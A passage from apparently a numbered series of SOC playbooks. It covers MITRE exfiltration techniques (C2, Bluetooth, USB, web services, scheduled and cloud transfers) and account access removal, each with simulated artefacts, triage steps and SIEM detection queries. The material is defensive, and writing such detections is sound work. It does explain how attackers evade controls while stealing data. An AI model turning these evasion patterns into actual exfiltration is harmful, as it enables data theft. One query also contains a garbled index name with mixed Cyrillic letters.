- Sub-technique identified (Symmetric / Asymmetric / Unencrypted)
- Data exposure scope assessed
- Transfers blocked and sources isolated
- Incident escalated appropriately

Post-incident improvements

- Treat protocol misuse as high-risk exfiltration indicator

- Expand DLP and DPI beyond C2 channels
- Baseline normal protocol usage and volumes
- Correlate collection → protocol abuse → data loss
- Include alternative-protocol exfiltration scenarios in SOC and purple-team exercises

Playbook 230 (MITRE Exfiltration): Exfiltration Over C2 Channel

Technique: Exfiltration Over C2 Channel

Purpose

Detect, investigate and respond to attackers exfiltrating data through an already-established command-and-control (C2) channel, enabling attackers to:

- Reuse trusted, established C2 paths for data theft
- Blend exfiltration into normal C2 traffic patterns
- Avoid triggering separate exfiltration detections
- Maintain encrypted, authenticated transfer paths
- Reduce operational overhead by using a single channel

Exfiltration Over C2 Channel is dual-use abuse the same channel used for commands is quietly repurposed to move data out.

When to trigger this playbook

Trigger this playbook when indicators suggest data leaving the environment via known or suspected C2 infrastructure, including:

- Sudden increase in C2 traffic volume or payload size
- Large or structured payloads inside routine C2 beacons
- Bidirectional C2 sessions used for bulk transfer
- C2 channels persisting longer than required for command exchange
- Endpoint activity correlating with C2 traffic spikes

Example use case scenario (end-to-end)

Context: SOC has an active investigation into malware communicating with an external HTTPS C2 server. Baseline analysis shows small beacon payloads every 2 minutes. Later, payload size increases dramatically and persists for several hours. Packet inspection reveals compressed and encrypted database dumps sent via the same C2 endpoint.

Attacker objective: Exfiltrate collected data without creating new network paths.

Defender objective: Detect data theft hidden inside established C2 communications.

What it looks like (simulated SOC artefacts)

A) Payload Size Anomaly

BaselineBeacon=1–2 KB
ObservedPayload=450 KB

B) Extended C2 Sessions

SessionDuration=4 hours
CommandCount=Low
DataTransfer=High

C) Structured Data in C2

PayloadType=Compressed
Entropy=High

D) Timing Correlation

LocalAction=ArchiveData
NetworkAction=C2Upload

E) No Separate Exfil Channel

FTP/SMTP/ICMP=None

F) Encrypted Transport

Protocol=HTTPS
Inspection=Limited

Severity decision (SOC)

High

- Suspicious growth in C2 traffic without confirmed data loss

Critical

- Confirmed sensitive data exfiltration
- Sustained or automated exfiltration via C2
- High-value data transferred through encrypted C2

Example severity: Critical

(Data exfiltration actively occurring over C2 channel)

Step-by-step SOC workflow

Step 1 Validate exfiltration over C2

Confirm:

1. Is there a known or suspected C2 channel?
2. Has traffic volume or payload structure changed?
3. Is data compressed, encrypted or chunked?
4. Do endpoint actions align with C2 transfer timing?

Decision point

- Legitimate update or C2 noise → document
- Data exfiltration over C2 → escalate immediately

Step 2 Identify exfiltration pattern and scope

Indicator	Evidence	Attacker value
Payload growth	Size anomaly	Capacity
Chunking	Fragmented transfers	Reliability
Compression	Reduced volume	Stealth
Encryption	Confidentiality	Evasion
Reuse of C2	No new channel	Low noise

Step 3 Map behaviour to attacker intent

3A) Stealth Exfiltration

Indicators

- No new outbound destinations

Attacker intent

- Avoid network detection

3B) Secure Data Theft

Indicators

- Encrypted and authenticated channel

Attacker intent

- Protect stolen data in transit

3C) Operational Efficiency

Indicators

- Single channel for control and data

Attacker intent

- Simplify infrastructure

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Collection
 - Local staging or archiving of data
2. Automated Exfiltration
 - Scheduled or chunked transfers
3. Command and Control
 - Fallback or proxy channels
4. Impact
 - Data deletion or manipulation post-exfiltration

Decision point

- Evidence found → escalate to Confirmed Data Breach / Full IR

Containment actions

Immediate

1. Block or sinkhole the C2 endpoint
2. Isolate affected hosts
3. Terminate active C2 sessions

If exfiltration confirmed

1. Preserve full packet captures and C2 artefacts
2. Identify data types transferred
3. Rotate exposed credentials and secrets
4. Notify SOC leadership, IR and data owners

Eradication and recovery

- Remove malware using the C2 channel
- Reimage compromised systems if needed
- Rebuild network baselines for C2-sized traffic
- Harden egress controls and TLS inspection where possible
- Monitor closely for C2 re-establishment

Detection engineering (SIEM ideas)

A) C2 payload size anomaly

```
index=network
| where destination IN c2_indicators
| stats avg(bytes) as avg_bytes max(bytes) as max_bytes by src_ip
| where max_bytes > (avg_bytes * 5)
```

B) Long-lived C2 sessions

```
index=network
| where destination IN c2_indicators
| where session_duration > threshold
```

C) Endpoint action + C2 correlation

```
index=edr
| where action IN ("Archive","Compress")
| join host [search index=network where destination IN c2_indicators]
```

Analyst checklist

- Exfiltration over C2 confirmed
- C2 infrastructure identified and blocked
- Data exposure scope assessed
- Hosts isolated and malware removed
- Incident escalated appropriately

Post-incident improvements

- Treat C2 traffic growth as potential exfiltration
- Baseline normal C2 beacon sizes and timing
- Correlate collection → compression → C2 upload
- Enhance TLS visibility for known C2 endpoints
- Include C2-based exfiltration scenarios in SOC and purple-team exercises

Playbook 231 (MITRE Exfiltration): Exfiltration Over Other Network Medium – Bluetooth

Technique: Exfiltration Over Other Network Medium

Sub-technique: Exfiltration Over Bluetooth

Purpose

Detect, investigate and respond to attackers exfiltrating data using Bluetooth as a non-traditional, low-visibility network channel, enabling attackers to:

- Bypass perimeter network controls and egress filtering
- Avoid proxy, firewall and DLP monitoring
- Exfiltrate data from air-gapped or restricted environments
- Leak data opportunistically to nearby attacker-controlled devices
- Blend malicious traffic with normal peripheral communication

Exfiltration Over Bluetooth is out-of-band data theft the attacker doesn't use the corporate network; they walk data out through the air.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or suspicious Bluetooth activity associated with data movement, including:

- Bluetooth enabled or activated on systems that don't require it
- Large or repeated Bluetooth file transfers
- Unknown or unauthorised Bluetooth devices pairing with endpoints
- Bluetooth activity occurring in secure or restricted environments
- Data loss indicators without corresponding network egress traffic

Example use case scenario (end-to-end)

Context: SOC investigates suspected data leakage from a secure engineering workstation. Network logs show no outbound data transfer. Endpoint telemetry reveals Bluetooth was enabled and multiple OBEX file transfers occurred overnight. Badge access logs show an unauthorised device present nearby during the same window.

Attacker objective: Exfiltrate sensitive data without using monitored network paths, bypassing DLP and firewall controls.

Defender objective: Identify Bluetooth-based exfiltration, contain affected endpoints and prevent recurrence.

What it looks like (simulated SOC artefacts)

A) Bluetooth Enabled Unexpectedly

Interface=Bluetooth

State=Enabled

Host=ENG-WS-03

B) Bluetooth File Transfer

Protocol=OBEX

Action=SendFile

FileSize=120MB

C) Unknown Paired Device

DeviceName=BT-Unknown-01

MAC=9A:4F:XX:XX:XX:XX

D) Repeated Transfers

TransferCount=15

Duration=2 hours

E) No Network Egress

OutboundTraffic=Normal

ProxyLogs=None

F) Physical Proximity Correlation

Event=BadgeAccess

Location=SecureZone

Severity decision (SOC)

High

- Limited Bluetooth activity with low data sensitivity

Critical

- Sensitive or regulated data exfiltrated
- Bluetooth used to bypass network monitoring
- Activity in secure or air-gapped environments

Example severity: Critical

(Covert, out-of-band data exfiltration)

Step-by-step SOC workflow

Step 1 Validate Bluetooth-based exfiltration

Confirm:

1. Was Bluetooth enabled or used unexpectedly?
2. Did file transfers or data streams occur over Bluetooth?
3. Is the paired device unauthorised or unknown?
4. Does the activity explain missing data without network logs?

Decision point

- Legitimate peripheral usage → document
- Malicious Bluetooth exfiltration → escalate immediately

Step 2 Identify method and scope

Indicator	Evidence	Attacker value
Bluetooth enablement	Interface logs	Opens covert channel
OBEX transfers	File send events	Direct data theft
Unknown devices	Pairing records	Attribution evasion
Physical proximity	Badge/CCTV logs	Insider or close access
No network usage	Clean egress logs	DLP bypass

Step 3 Map behaviour to attacker intent

3A) Perimeter Bypass

Indicators

- No proxy or firewall traffic

Attacker intent

- Evade network security controls

3B) Secure Environment Exfiltration

Indicators

- Activity in restricted zones

Attacker intent

- Steal data from high-security systems

3C) Insider or Close-Access Theft

Indicators

- Nearby unknown Bluetooth devices

Attacker intent

- Opportunistic or insider-enabled exfiltration

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Collection
 - File staging on endpoints
2. Credential Access
 - Insider misuse or compromised accounts
3. Defense Evasion
 - Disabling logs or sensors
4. Persistence
 - Re-enabling Bluetooth or installing tools

Decision point

- Evidence found → escalate to Major Incident / Insider Threat IR

Containment actions

Immediate

1. Disable Bluetooth on affected endpoints
2. Isolate impacted systems
3. Remove and block unknown paired devices

If Bluetooth exfiltration confirmed

1. Preserve endpoint logs and Bluetooth artefacts

2. Identify all files transferred
3. Revoke access for implicated users or devices
4. Notify SOC leadership, IR, Physical Security, Legal and Data Owners

Eradication and recovery

- Remove malicious tools or scripts enabling Bluetooth transfers
- Enforce endpoint policies disabling Bluetooth where unnecessary
- Reimage affected systems if data sensitivity warrants
- Review physical security and access controls
- Monitor closely for renewed out-of-band exfiltration

Detection engineering (SIEM ideas)

A) Bluetooth enablement monitoring

```
index=endpoint  
| where interface="Bluetooth" AND state="Enabled"  
| where host_role!="Allowed"
```

B) Bluetooth file transfer detection

```
index=endpoint  
| where protocol="OBEX" AND action="SendFile"  
| stats sum(file_size) by host
```

C) Unknown Bluetooth pairing

```
index=endpoint  
| where event="BluetoothPair"  
| where device_trust!="Known"
```

Analyst checklist

- Bluetooth-based exfiltration confirmed
- Affected hosts and data identified
- Bluetooth disabled and devices blocked
- Physical and insider angles assessed
- Incident escalated appropriately

Post-incident improvements

- Treat non-network radios as exfiltration channels
- Disable Bluetooth by default on sensitive systems

- Monitor and alert on Bluetooth enablement and file transfer
- Correlate endpoint telemetry + physical access logs
- Include Bluetooth exfiltration scenarios in SOC and insider-threat exercises

Playbook 232 (MITRE Exfiltration): Exfiltration Over Physical Medium – Exfiltration over USB

Technique: Exfiltration Over Physical Medium

Sub-technique: Exfiltration over USB

Purpose

Detect, investigate and respond to attackers exfiltrating data via removable physical media (USB), enabling attackers to:

- Bypass network monitoring and egress controls entirely
- Steal data from air-gapped or restricted environments
- Avoid DLP systems focused on network traffic
- Rapidly remove large volumes of data
- Leverage insider access or compromised endpoints

USB-based exfiltration is offline theft attackers walk the data out instead of sending it.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious removable media activity, including:

- USB storage devices connected outside approved workflows
- Large file copy operations to removable media
- Sensitive data accessed shortly before USB insertion
- Use of mass-storage devices by non-authorised users
- Disabled or bypassed endpoint controls for removable media

Example use case scenario (end-to-end)

Context: SOC receives an alert that a finance workstation mounted a USB mass-storage device. Within minutes, multiple database exports and confidential spreadsheets are copied. No outbound network exfiltration is observed. User activity logs show no approved data transfer request.

Attacker objective: Exfiltrate high-value data quickly without touching the network.

Defender objective: Detect and stop physical data theft and assess data exposure.

What it looks like (simulated SOC artefacts)

A) USB Device Connection

DeviceType=MassStorage
Vendor=Generic
Serial=Unknown

B) File Copy to Removable Media

Source=C:\Finance\
Destination=E:\USB\
Files=Multiple

C) Sensitive File Types

FileType=.xlsx, .csv, .bak
Classification=Confidential

D) Timing Correlation

USB_Insert=10:14
File_Copy_Start=10:15

E) Policy Bypass

Control=USBBlock
Status=Disabled

F) No Network Exfiltration

OutboundTraffic=None

Severity decision (SOC)

High

- Suspicious USB usage without confirmed sensitive data

Critical

- Confirmed copying of sensitive or regulated data
- Policy bypass or deliberate control disablement
- Insider threat or attacker with physical access

Example severity: Critical

(Sensitive data exfiltrated via USB)

Step-by-step SOC workflow

Step 1 Validate USB-based exfiltration

Confirm:

1. Was a removable storage device connected?
2. Were sensitive or large volumes of data accessed?
3. Is the user authorised for removable media usage?
4. Were security controls bypassed or disabled?

Decision point

- Approved business transfer → document
- Unauthorised USB exfiltration → escalate immediately

Step 2 Identify scope and exposure

Indicator	Evidence	Attacker value
USB mass storage	Device mount	Offline transfer
Large file copy	High volume	Speed
Sensitive data	Classified files	Impact
Policy bypass	Control disabled	Evasion
Insider access	Physical presence	Reliability

Step 3 Map behaviour to attacker intent

3A) Network Bypass

Indicators

- No outbound exfiltration

Attacker intent

- Evade network security controls

3B) Rapid Data Theft

Indicators

- Bulk file copy

Attacker intent

- Steal maximum data quickly

3C) Insider or Physical Access Abuse

Indicators

- Legitimate credentials used

Attacker intent

- Exploit trust and proximity

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. **Collection**
 - Prior staging of data
2. **Credential Access**
 - Use of valid accounts
3. **Defense Evasion**
 - USB policy changes
4. **Impact**
 - Data deletion or tampering post-copy

Decision point

- Evidence found → escalate to Confirmed Data Breach / Insider Incident

Containment actions

Immediate

1. Disable USB ports on affected hosts
2. Isolate the endpoint
3. Preserve forensic artefacts (logs, device IDs)

If USB exfiltration confirmed

1. Identify all copied files and data owners
2. Secure or confiscate physical media if possible
3. Revoke user access pending investigation
4. Notify SOC leadership, IR, Legal and HR

Eradication and recovery

- Reimage affected systems if integrity is uncertain
- Reinstate and harden USB control policies
- Enforce device allowlists and encryption
- Reset credentials if compromise suspected
- Monitor closely for repeat physical access attempts

Detection engineering (SIEM ideas)

A) USB insertion detection

```
index=edr  
| where action="USBInserted"  
| where device_type="MassStorage"
```

B) File copy to removable media

```
index=edr  
| where destination LIKE "%:\\"  
| where destination_device="USB"
```

C) Sensitive data access + USB activity

```
index=edr  
| join host [search index=datалoss where classification="Confidential"]
```

Analyst checklist

- USB exfiltration confirmed
- Data types and volume identified
- Physical device details collected
- Endpoint isolated and access revoked
- Incident escalated appropriately

Post-incident improvements

- Treat USB exfiltration as high-risk data theft vector
- Enforce default-deny removable media policies
- Require encryption and approval for USB usage
- Monitor data access → USB insert → file copy chains
- Include physical exfiltration scenarios in SOC and insider-threat exercises

Playbook 233 (MITRE Exfiltration): Exfiltration Over Web Service

Technique: Exfiltration Over Web Service

Sub-techniques:

- Exfiltration to Code Repository
- Exfiltration to Cloud Storage
- Exfiltration to Text Storage Sites
- Exfiltration Over Webhook

Purpose

Detect, investigate and respond to attackers exfiltrating data via legitimate web services, enabling attackers to:

- Abuse high-reputation platforms to bypass security controls
- Blend data theft into normal developer or SaaS activity
- Avoid owning attacker-controlled infrastructure
- Achieve high availability and resilience for stolen data
- Evade DLP controls focused on traditional file transfers

Exfiltration Over Web Service is trust abuse at scale attackers hide stolen data inside platforms defenders are trained to allow.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious data uploads to web services, including:

- Sensitive files uploaded to public or personal repositories
- Cloud storage usage outside approved tenants or accounts
- Encoded or encrypted data posted to paste or text sites
- Webhook calls containing large or structured payloads
- Endpoints interacting with web services inconsistent with role

Example use case scenario (end-to-end)

Context: SOC detects a server uploading compressed files to a public Git repository using a newly created token. The repository contains base64-encoded database dumps disguised as configuration files. Separately, webhook POSTs are observed sending structured JSON payloads containing sensitive records.

Attacker objective: Exfiltrate data using trusted web services that blend into normal internet traffic.

Defender objective: Detect misuse of web platforms and stop data leakage.

What it looks like (simulated SOC artefacts)

A) Exfiltration to Code Repository

Service=Git Repository
Action=Commit
File=config.yaml (Encoded)
RepoVisibility=Public

B) Exfiltration to Cloud Storage

Service=Cloud Storage
Bucket=personal-backup-01
Tenant=External
Upload=archive.zip

C) Exfiltration to Text Storage Sites

Service=Paste Site
Content=Base64
Size=Large

D) Exfiltration Over Webhook

Method=POST
Endpoint=Webhook URL
Payload=Structured JSON

E) Trusted Domain Abuse

DomainReputation=High
Category=SaaS / Collaboration

F) No Traditional Transfer Tools

FTP/SCP=None

Severity decision (SOC)

High

- Suspicious uploads without confirmed sensitive data

Critical

- Confirmed exfiltration of sensitive or regulated data
- Public exposure or third-party storage involved
- Automated or repeated uploads

Example severity: Critical

(Sensitive data exfiltrated via trusted web services)

Step-by-step SOC workflow

Step 1 Validate web-service-based exfiltration

Confirm:

1. Is data leaving the organisation via web services?
2. Is the service approved and within the correct tenant/account?
3. Is the data sensitive, encoded or unusually structured?
4. Is transfer automated or scripted?

Decision point

- Approved business integration → document
- Unauthorised exfiltration → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Code repository	Commits with encoded data	Persistence
Cloud storage	External buckets/accounts	Scale
Text storage sites	Paste/bin usage	Simplicity
Webhooks	Structured POST payloads	Automation
High reputation	Trusted domains	Evasion

Step 3 Map behaviour to attacker intent

3A) Detection Evasion

Indicators

- Use of allowed SaaS platforms

Attacker intent

- Bypass network and reputation controls

3B) Data Availability

Indicators

- Cloud-based storage

Attacker intent

- Ensure reliable access to stolen data

3C) Operational Blending

Indicators

- Looks like developer or automation traffic

Attacker intent

- Hide in plain sight

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Collection
 - Data staging and compression
2. Credential Access
 - Tokens, API keys, OAuth abuse
3. Command and Control
 - Web-service-based C2
4. Persistence
 - Scheduled or event-driven uploads

Decision point

- Evidence found → escalate to Confirmed Data Breach / Full IR

Containment actions

Immediate

1. Block or restrict abused web service endpoints
2. Isolate affected hosts

3. Revoke API tokens, keys or OAuth grants

If exfiltration confirmed

1. Preserve uploaded content and access logs
2. Identify all affected repositories, buckets or endpoints
3. Notify data owners and legal/compliance teams
4. Coordinate with service providers if required

Eradication and recovery

- Remove malware or scripts performing uploads
- Rotate credentials and API tokens
- Reimage systems if integrity is uncertain
- Enforce SaaS and API access governance
- Monitor closely for migration to alternate services

Detection engineering (SIEM ideas)

A) Large uploads to SaaS platforms

```
index=proxy  
| where destination_category="Cloud Services"  
| stats sum(bytes) by src_ip, domain  
| where sum(bytes) > baseline
```

B) Encoded content uploads

```
index=dpi  
| where content_entropy > threshold  
| where destination_category="Web Service"
```

C) Webhook abuse detection

```
index=network  
| where method="POST"  
| where payload_size > expected
```

Analyst checklist

- Web-service exfiltration confirmed
- Sub-technique identified (Repo / Cloud / Text / Webhook)
- Data exposure scope assessed
- Access revoked and uploads blocked

- Incident escalated appropriately

Post-incident improvements

- Treat SaaS platforms as dual-use exfiltration vectors
- Enforce tenant restrictions and API governance
- Monitor for encoded or encrypted uploads
- Correlate collection → web upload → data exposure
- Include web-service exfiltration scenarios in SOC and purple-team exercises

Playbook 234 (MITRE Exfiltration): Scheduled Transfer

Technique: Scheduled Transfer

Purpose

Detect, investigate and respond to attackers exfiltrating data at predefined times or intervals, enabling attackers to:

- Blend data exfiltration into predictable system activity
- Avoid burst-based or anomaly-driven detections
- Evade analyst attention by transferring data during off-hours
- Maintain long-term, low-noise data theft
- Coordinate exfiltration with business or system schedules

Scheduled Transfer is temporal evasion attackers do not hide where data goes, but when it moves.

When to trigger this playbook

Trigger this playbook when indicators suggest data transfers occurring on a consistent schedule without business justification, including:

- Repeated outbound transfers at the same time daily or weekly
- Data movement aligned with cron jobs, scheduled tasks or timers
- Transfers occurring during non-business hours
- Low-and-slow data exfiltration with predictable timing
- Scheduled jobs interacting with external destinations

Example use case scenario (end-to-end)

Context: SOC observes outbound HTTPS uploads every day at **02:00 AM** from an application server. Payload sizes are small but consistent. Investigation reveals a scheduled task compressing log files and uploading them to an external endpoint controlled by the attacker.

Attacker objective: Exfiltrate data predictably and quietly while avoiding anomaly detection.

Defender objective: Detect scheduled data movement and differentiate malicious transfers from legitimate jobs.

What it looks like (simulated SOC artefacts)

A) Repeated Timed Transfers

TransferTime=02:00

Frequency=Daily

Deviation=None

B) Scheduled Job Evidence

TaskType=Cron

Command=upload.sh

C) Data Preparation Before Transfer

Action=Compress

File=logs.tar.gz

D) External Destination

Protocol=HTTPS

Destination=Unknown Domain

E) Low-and-Slow Pattern

Volume=Small

Duration=Months

F) No User Interaction

UserContext=System

Severity decision (SOC)

High

- Suspicious scheduled transfers without confirmed sensitive data

Critical

- Confirmed scheduled exfiltration of sensitive data
- Long-term automated data theft
- Transfers aligned with attacker-controlled schedules

Example severity: Critical

(Sensitive data exfiltrated via scheduled transfers)

Step-by-step SOC workflow

Step 1 Validate scheduled transfer behaviour

Confirm:

1. Is data leaving the environment on a fixed schedule?
2. Is the schedule documented and approved?
3. Is the destination trusted and authorised?
4. Is data compressed, encrypted or staged beforehand?

Decision point

- Legitimate backup or integration → document
- Malicious scheduled exfiltration → escalate immediately

Step 2 Identify scheduling method and scope

Scheduling method	Evidence	Attacker value
Cron jobs	crontab entries	Persistence
Scheduled tasks	Task Scheduler	Reliability
Systemd timers	Timer units	Stealth
Application schedulers	Built-in jobs	Blending
Cloud schedulers	Lambda/Functions	Scale

Step 3 Map behaviour to attacker intent

3A) Temporal Evasion

Indicators

- Transfers during off-hours

Attacker intent

- Reduce human detection

3B) Long-Term Data Theft

Indicators

- Consistent small transfers

Attacker intent

- Avoid volume thresholds

3C) Automation and Persistence

Indicators

- Job survives reboots

Attacker intent

- Maintain continuous exfiltration

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Collection
 - Data staging before scheduled upload
2. Persistence
 - Jobs re-created or protected
3. Command and Control
 - Schedule updates via C2
4. Defense Evasion
 - Timestamp or log manipulation

Decision point

- Evidence found → escalate to Confirmed Data Breach / Full IR

Containment actions

Immediate

1. Disable suspicious scheduled jobs
2. Block external destinations
3. Isolate affected systems

If scheduled exfiltration confirmed

1. Preserve job definitions and scripts
2. Identify all data transferred historically
3. Rotate exposed credentials
4. Notify SOC leadership, IR and data owners

Eradication and recovery

- Remove malicious scheduled jobs
- Reimage systems if integrity is uncertain
- Harden scheduling controls and permissions
- Implement change tracking for schedulers
- Monitor closely for re-creation of jobs

Detection engineering (SIEM ideas)

A) Repeating transfer time detection

```
index=network  
| bucket _time span=1h  
| stats count by src_ip, _time  
| where count > baseline
```

B) Scheduled task + network correlation

```
index=edr  
| where action="TaskStart"  
| join host [search index=network where bytes_out > threshold]
```

C) Off-hours data movement

```
index=network  
| where hour(_time) < 6 OR hour(_time) > 20  
| where bytes_out > baseline
```

Analyst checklist

- Scheduled transfer confirmed
- Scheduling mechanism identified
- Data exposure scope assessed
- Jobs disabled and destinations blocked
- Incident escalated appropriately

Post-incident improvements

- Treat predictable timing as exfiltration signal
- Baseline approved scheduled jobs and destinations
- Monitor schedule → compress → transfer chains
- Enforce least privilege on schedulers
- Include scheduled-exfiltration scenarios in SOC and purple-team exercises

Playbook 235 (MITRE Exfiltration): Transfer Data to Cloud Account

Technique: Transfer Data to Cloud Account

Purpose

Detect, investigate and respond to attackers transferring stolen data into attacker-controlled or unauthorised cloud accounts, enabling attackers to:

- Bypass perimeter egress controls using trusted cloud providers
- Persist stolen data in resilient, globally available storage
- Blend exfiltration into normal cloud usage patterns
- Avoid maintaining custom exfiltration infrastructure
- Enable later retrieval, sharing or resale of stolen data

Transfer to Cloud Account is ownership pivoting data leaves your control not by protocol trickery, but by changing custodians.

When to trigger this playbook

Trigger this playbook when indicators suggest data uploaded or synced to cloud accounts outside organisational control, including:

- Uploads to personal or external cloud tenants
- API calls using newly created or unknown cloud credentials
- Sync clients transferring sensitive data off-tenant
- Cloud object creation immediately after local data staging
- Cross-tenant sharing or access grants without approval

Example use case scenario (end-to-end)

Context: SOC detects a server uploading compressed archives to a cloud storage service using OAuth tokens not associated with the organisation's tenant. Audit logs show a newly created cloud account receiving objects named to mimic backups. No approved data transfer or sharing request exists.

Attacker objective: Move stolen data into an attacker-owned cloud account for durable storage and later access.

Defender objective: Detect unauthorised cloud transfers, stop uploads and assess data exposure.

What it looks like (simulated SOC artefacts)

A) External Cloud Tenant Upload

Service=Cloud Storage
Tenant=External
Account=unknown_user@external.com
Action=UploadObject

B) Newly Created Credentials

AuthType=OAuth
TokenAge=Minutes
Scope=FullAccess

C) Data Staging Prior to Upload

Action=Archive
File=data_dump.zip

D) Bulk Object Creation

Objects=Multiple
Prefix=backup_

E) Sync Client Abuse

Process=sync.exe
Direction=Outbound

F) No Business Approval

ChangeRecord=None

Severity decision (SOC)

High

- Suspicious cloud uploads without confirmed sensitive data

Critical

- Confirmed sensitive or regulated data transferred
- External or attacker-controlled cloud accounts involved
- Automated or repeated transfers

Example severity: Critical

(Sensitive data transferred to unauthorised cloud account)

Step-by-step SOC workflow**Step 1 Validate cloud account transfer**

Confirm:

1. Is data leaving to a cloud account outside organisational control?
2. Are the credentials, tenant or account unauthorised?
3. Is the data sensitive, staged or compressed?
4. Is transfer automated or scripted?

Decision point

- Approved cross-tenant sharing → document
- Unauthorised transfer to cloud account → escalate immediately

Step 2 Identify transfer method and scope

Method	Evidence	Attacker value
Direct API upload	PUT/POST objects	Speed
Sync client	Continuous mirroring	Stealth
Cross-tenant share	Access grants	Persistence
OAuth abuse	Broad scopes	Control
Backup disguise	Benign naming	Evasion

Step 3 Map behaviour to attacker intent**3A) Egress Evasion****Indicators**

- Trusted cloud domains

Attacker intent

- Bypass network restrictions

3B) Durable Storage**Indicators**

- Cloud object persistence

Attacker intent

- Ensure long-term access to stolen data

3C) Attribution Avoidance

Indicators

- Attacker-owned accounts

Attacker intent

- Decouple theft from attacker infrastructure

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Token theft or OAuth abuse
2. Collection
 - Additional data staging
3. Persistence
 - Scheduled sync or re-uploads
4. Command and Control
 - Cloud APIs used for tasking

Decision point

- Evidence found → escalate to Confirmed Data Breach / Full IR

Containment actions

Immediate

1. Revoke unauthorised cloud tokens and credentials
2. Block uploads to external tenants/accounts
3. Isolate affected systems

If transfer confirmed

1. Preserve cloud audit logs and object metadata

2. Identify all transferred objects and data owners
3. Disable sharing and access grants
4. Notify SOC leadership, IR, Legal and Compliance

Eradication and recovery

- Remove exfiltration scripts or sync clients
- Reimage systems if integrity is uncertain
- Rotate all exposed credentials and tokens
- Enforce tenant restrictions and CASB controls
- Monitor closely for renewed cloud transfers

Detection engineering (SIEM ideas)

A) Uploads to external cloud tenants

```
index=cloud_audit  
| where action="UploadObject"  
| where tenant!="org_tenant"
```

B) New OAuth tokens with broad scope

```
index=cloud_auth  
| where token_scope="FullAccess"  
| where token_age < 1h
```

C) Archive then upload correlation

```
index=edr  
| where action="Archive"  
| join host [search index=cloud_audit where action="UploadObject"]
```

Analyst checklist

- Transfer to external cloud account confirmed
- Account, tenant and credentials identified
- Data exposure scope assessed
- Tokens revoked and uploads blocked
- Incident escalated appropriately

Post-incident improvements

- Treat external cloud accounts as high-risk exfil destinations
- Enforce tenant allowlists and cross-tenant restrictions

- Monitor for archive → upload → share patterns
- Apply CASB/DLP controls to cloud services
- Include cloud-account exfiltration scenarios in SOC and purple-team exercises

Playbook 236 (MITRE Impact): Account Access Removal

Technique: Account Access Removal

Purpose

Detect, investigate and respond to attackers deliberately removing or disabling account access to disrupt operations, enabling attackers to:

- Lock out legitimate users and administrators
- Delay incident response and remediation
- Cause operational downtime and business impact
- Cover tracks after data theft or compromise
- Apply pressure during extortion or ransomware operations

Account Access Removal is destructive denial attackers don't damage systems directly; they cut off people from their own environment.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected loss of account access, including:

- Sudden disabling, deletion or lockout of multiple accounts
- Privileged accounts losing access without change approval
- Password resets or MFA changes performed en masse
- Account removals aligned with suspicious logins or exfiltration
- Cloud or directory accounts removed across tenants or domains

Example use case scenario (end-to-end)

Context: SOC receives multiple alerts of failed logins from IT administrators. Directory audit logs show admin accounts disabled by another admin account. Minutes earlier, the same actor exfiltrated data to an external cloud account. No approved change request exists.

Attacker objective: Disrupt response efforts and deny defenders access to the environment.

Defender objective: Restore access rapidly, identify malicious changes and contain the attacker.

What it looks like (simulated SOC artefacts)

A) Account Disabled

Action=DisableAccount

Target=admin01

Initiator=svc_backup

B) Account Deletion

Action=DeleteUser

Target=user_finance02

C) Privilege Revocation

Action=RemoveGroupMember

Group=Domain Admins

User=admin02

D) MFA / Password Reset Abuse

Action=ResetCredentials

Method=API

Scope=MultipleUsers

E) Timing Correlation

Event=AccountRemoval

PrecededBy=Exfiltration

F) No Change Approval

ChangeTicket=None

Severity decision (SOC)

High

- Isolated or limited account access changes

Critical

- Multiple accounts affected
- Privileged or admin access removed
- Access removal linked to confirmed intrusion

Example severity: Critical

(Attackers actively denying organisational access)

Step-by-step SOC workflow

Step 1 Validate account access removal

Confirm:

1. Were accounts disabled, deleted or altered?
2. Was the change approved and documented?
3. Were privileged or response-critical accounts affected?
4. Is activity linked to suspicious logins or actions?

Decision point

- Approved access change → document
- Malicious account access removal → escalate immediately

Step 2 Identify method and scope

Method	Evidence	Attacker value
Disable accounts	Directory changes	Immediate denial
Delete accounts	User removal	Recovery delay
Remove roles	Group membership changes	Loss of control
Reset credentials	Password/MFA abuse	Lockout
API-based changes	Cloud audit logs	Scale

Step 3 Map behaviour to attacker intent

3A) Incident Response Disruption

Indicators

- Admin accounts removed

Attacker intent

- Slow containment and recovery

3B) Operational Impact

Indicators

- User lockouts

Attacker intent

- Cause downtime and confusion

3C) Post-Exfiltration Cover

Indicators

- Access removal after data theft

Attacker intent

- Delay detection and remediation

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Exfiltration
 - Data theft before logout
2. Defense Evasion
 - Log tampering or deletion
3. Persistence
 - Backdoor accounts left behind
4. Other Impact
 - Data destruction or service stop

Decision point

- Evidence found → escalate to Major Incident / Full IR

Containment actions

Immediate

1. Invoke break-glass accounts
2. Restore disabled or deleted accounts
3. Revoke attacker credentials and sessions

If malicious removal confirmed

1. Freeze identity changes temporarily

2. Reset credentials for all affected accounts
3. Review and rollback directory changes
4. Notify SOC leadership, IR, IT Ops and IAM teams

Eradication and recovery

- Remove attacker access paths (tokens, sessions, accounts)
- Rebuild IAM trust chains if needed
- Re-enable MFA and enforce strong auth
- Validate role assignments and group memberships
- Monitor closely for renewed access removal attempts

Detection engineering (SIEM ideas)

A) Mass account disablement

```
index=identity  
| where action IN ("DisableAccount","DeleteUser")  
| stats count by initiator  
| where count > threshold
```

B) Privileged role removal

```
index=identity  
| where action="RemoveGroupMember"  
| where group IN ("Domain Admins","Global Admin")
```

C) Access removal after intrusion

```
index=identity  
| join user [search index=network where indicator="C2" OR indicator="Exfiltration"]
```

Analyst checklist

- Account access removal confirmed
- Scope and affected users identified
- Access restored and attacker locked out
- Identity controls stabilised
- Incident escalated appropriately

Post-incident improvements

- Treat identity changes as impact events, not just admin actions
- Enforce MFA and approval for privileged account changes

- Maintain monitored break-glass accounts
- Correlate intrusion → exfiltration → account disruption
